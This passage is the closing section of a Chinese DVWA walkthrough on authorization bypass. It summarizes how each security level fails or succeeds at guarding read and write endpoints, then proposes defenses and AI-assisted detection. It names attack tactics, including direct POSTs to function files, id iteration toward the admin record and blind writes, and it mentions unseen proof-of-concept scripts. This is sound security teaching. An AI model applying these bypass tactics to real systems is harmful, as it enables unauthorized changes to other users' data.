LOW 级别                MEDIUM 级别               HIGH 级别
    │                        │                         │
    │  ❌ 无任何检查          │  ✅ 入口检查            │  ✅ 入口检查
    │  ❌ 三通路全裸奔        │  ❌ 功能文件仍暴露      │  ⚠️ 读已封,写仍敞开
    │                        │                         │
    ▼                        ▼                         ▼
  "无防护"阶段           "入口防护"阶段            "半修复"阶段
  攻击成本:极低          攻击成本:低              攻击成本:低(盲写)

                              Impossible 级别
                              ┌─────────────────────────────────┐
                              │  ✅ 主页面入口检查              │
                        ──►  │  ✅ 读通道独立检查              │
                              │  ✅ 写通道独立检查              │
                              └─────────────────────────────────┘
                                             │
                                             ▼
                                      "功能级授权"阶段
                                       攻击成本:无路可走

4、授权控制的核心原则

原则 说明 实现级别
拒绝默认 未明确授权即拒绝,而非未明确禁止即放行 Impossible
功能级检查 每个功能文件/端点独立验证权限,入口检查只是体验优化 Impossible
检查覆盖所有通路 读、写、删、导出......每个动词都要覆盖(HIGH 的教训) Impossible
正确的拒绝语义 页面用 403,API 用结构化错误,不用 200 塞错误文案 Impossible
不依赖隐匿 菜单隐藏、URL 复杂化都不是访问控制 全部级别的教训
权限回归基线 把"谁能在哪干什么"固化成矩阵,变更后自动回归 Impossible(AI 增强)

七、总结

1、漏洞全景回顾

层级 LOW MEDIUM HIGH Impossible
入口检查 🔴 无 🟢 有 🟢 有 🟢 有
读通道 🔴 裸奔 🔴 裸奔 🟢 已封 🟢 已封
写通道 🔴 裸奔 🔴 裸奔 🔴 裸奔 🟢 已封
主要风险 机密性+完整性 机密性+完整性 完整性(盲写) 无
修复完备度 🔴 0/3 🟠 1/3 🟠 2/3 🟢 3/3

2、核心防御建议优先级

复制代码
高优先级(必须修复)
    │
    ├── ① 在 change_user_details.php 补上与 get_user_data.php 同级的
    │     身份检查【HIGH→IMP 的最后一步】
    ├── ② 检查与功能绑定:授权逻辑内联到每个端点,而不是依赖入口
    └── ③ 对 UPDATE 语句改用参数化查询,顺带消除 SQL 注入

中优先级(强烈建议)
    │
    ├── ④ 统一授权中间件/门面,避免"每个文件各写各的 if"
    ├── ⑤ 建立"角色 × 端点"权限矩阵文档,与代码同步演进
    └── ⑥ 对敏感变更(任意用户资料修改)落变更审计日志

低优先级(可选优化)
    │
    ├── ⑦ 授权回归基线纳入 CI(守卫矩阵自动重放)
    ├── ⑧ 行为遥测:读拒绝后紧跟写请求的时序告警
    └── ⑨ 定期双账号差分巡检(自动化渗透自测)

3、关键启发

  • 入口检查不是访问控制:MEDIUM 的 403 做得很标准,但功能文件一个都没保护------"门"防不住"窗"
  • 修复要按通路验收:HIGH 封了读没封写,攻击面从机密性转移到完整性,严重程度并未降低
  • 盲写是最容易被忽视的危害:看不见≠改不动,完整性破坏往往没有"告警瞬间"
  • 验证需要证据链思维 :result=ok 只是中间证据,落库读回才算闭环;攻击者会话内无法闭环时,必须引入第二证据源
  • 满分答案的结构是"检查跟着功能走":Impossible 的三处检查分散在三个文件里,却构成了结构上无法绕过的防线

八、AI增强防御建议

1、智能授权检测

传统方案 AI 增强方案
页面级爬虫 + 登录墙检测 前端行为分析自动发现 API 端点(本文 2.6 的 JS 请求发射点分析)
人工编写越权测试用例 双角色差分矩阵自动生成与重放(本文 recon 脚本的双 PHASE 设计)
单请求特征判断 请求序列 + 授权上下文联合判断("先撞墙再敲门"的时序告警)

实现思路:

  • 以"角色 × 端点 × 动作(读/写)"三元组建模授权面,把散落的检查点收敛为一张可查询的矩阵
  • 对每个三元组维持一个"期望行为"(来自需求文档或 Impossible 式正样本),线上差分即告警
  • 把一次失败的授权探测(Access denied / Invalid format)都当作信息源,自动修正探测策略

2、基于行为的越权检测

特征维度 正常行为 授权绕过攻击
访问路径 经主页面进入功能 直接 POST 功能端点
端点覆盖 只操作自己的记录 id 遍历/指向他人(尤其 admin 的 id=1)
读写时序 读改写自己的数据 读被拒后立即发起写(盲写特征)
变更内容 小幅、合理 批量、模式化(如全表统一后缀)

实现思路:

  • 构建用户级访问基线(常用端点、常用 id 集合),对"从不访问的 id 突然出现写请求"打分
  • 将授权拒绝事件与后续请求做时序关联,识别"探测-绕过"组合行为
  • 对敏感表(users)建立变更快照,批量异常变更自动回溯触发会话

3、AI 防御架构图

复制代码
┌─────────────────────────────────────────────────────────────────────────┐
│                     授权控制 AI 增强防御架构                            │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                          │
│  ┌─────────────┐    ┌──────────────────┐    ┌─────────────┐            │
│  │  建模层      │───▶│     检测层        │───▶│   响应层     │            │
│  │ 角色×端点矩阵│    │  差分探测        │    │  实时拦截    │            │
│  │ JS端点发现   │    │  时序关联        │    │  变更回滚    │            │
│  │ 期望行为基线 │    │  完整性快照      │    │  告警归因    │            │
│  └─────────────┘    └──────────────────┘    └─────────────┘            │
│                                                                          │
│  ┌──────────────────────────────────────────────────────────┐          │
│  │  回归层:守卫矩阵基线(Impossible 六项断言)纳入 CI       │          │
│  └──────────────────────────────────────────────────────────┘          │
└─────────────────────────────────────────────────────────────────────────┘

4、实施优先级建议

优先级 措施 实施难度 防御效果
高 功能文件独立授权检查 低 高(直接消灭 LOW/MEDIUM/HIGH 三级漏洞)
高 统一授权中间件 中 高(结构性防止"漏一个文件")
中 角色×端点矩阵文档与 CI 回归 中 高(防回归)
中 盲写行为时序告警 中 中
低 全量变更快照审计 高 高

5、本文的 AI 自动化实践

本文不是"谈理念",而是真的跑了三层自动化(随附脚本均可复现):

脚本 角色 自动化能力
recon_authbypass.py 攻击面侦察 双账号 × 4 级别 × 3 通路全量矩阵探测,自动落盘证据
recon2/recon3/recon4 深度验证 请求格式反推(Invalid format → JSON POST)、落库核验、盲写交叉验证、现场还原
poc_authbypass_{low,medium,high}.py + verify_impossible.py 结论输出 环境预检 → 利用/断言 → 核验 → 还原,全流程无人值守

这套流水线在本次实测中抓到了三处原教程未覆盖的事实(HIGH 读封写敞、Impossible 三通路全拦、UPDATE 注入),也踩出了两个方法论坑(JSON 请求体、盲写无法自证)------AI 自动化检测的价值不只是"跑得快",更在于用一致的证据标准把"想当然"全部换掉。

免责声明:本文所述内容仅供安全研究与学习交流使用,所有测试均在本地授权靶场(DVWA)环境中进行。未经授权,严禁将文中技术用于任何非法目的。

📌 本文是专栏「DVWA通关全记录:从漏洞复现到安全防御」的第 16 篇文章。

如果你在阅读过程中有任何疑问,欢迎在评论区留言交流。😊

相关推荐
云水一下5 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
感谢地心引力5 天前
我用 Doubao-Seed-2.1-pro 做了一个深度融入 AI 功能的本地知识库软件
ai·开源·seed·markdown·豆包
阿昌喜欢吃黄桃6 天前
提示词工程:User Prompt 与 System Prompt
ai·prompt·提示词·提示词工程
AI产品测评官6 天前
海内外AI招聘工具分赛道横向对比:五大品类的技术路线与选型参考
人工智能·ai·求职招聘
俊哥V6 天前
每日 AI 研究简报 · 2026-09-21
人工智能·ai
omenkk76 天前
上下文工程:优化系统提示词,利用 KV Cache 降低 Token 成本
ai
代码方舟6 天前
零信任架构实战:基于天远手机在网状态V即时版构建自动化通信分发网关
人工智能·ai·工具分享
MicrosoftReactor6 天前
技术速递|GitHub Copilot App 入门指南:使用 Diff、终端和浏览器
ai·copilot·agent
TechEdu2026066 天前
[人工智能]人工智能时代的零日漏洞与零日攻击
人工智能·网络安全·ai·信息安全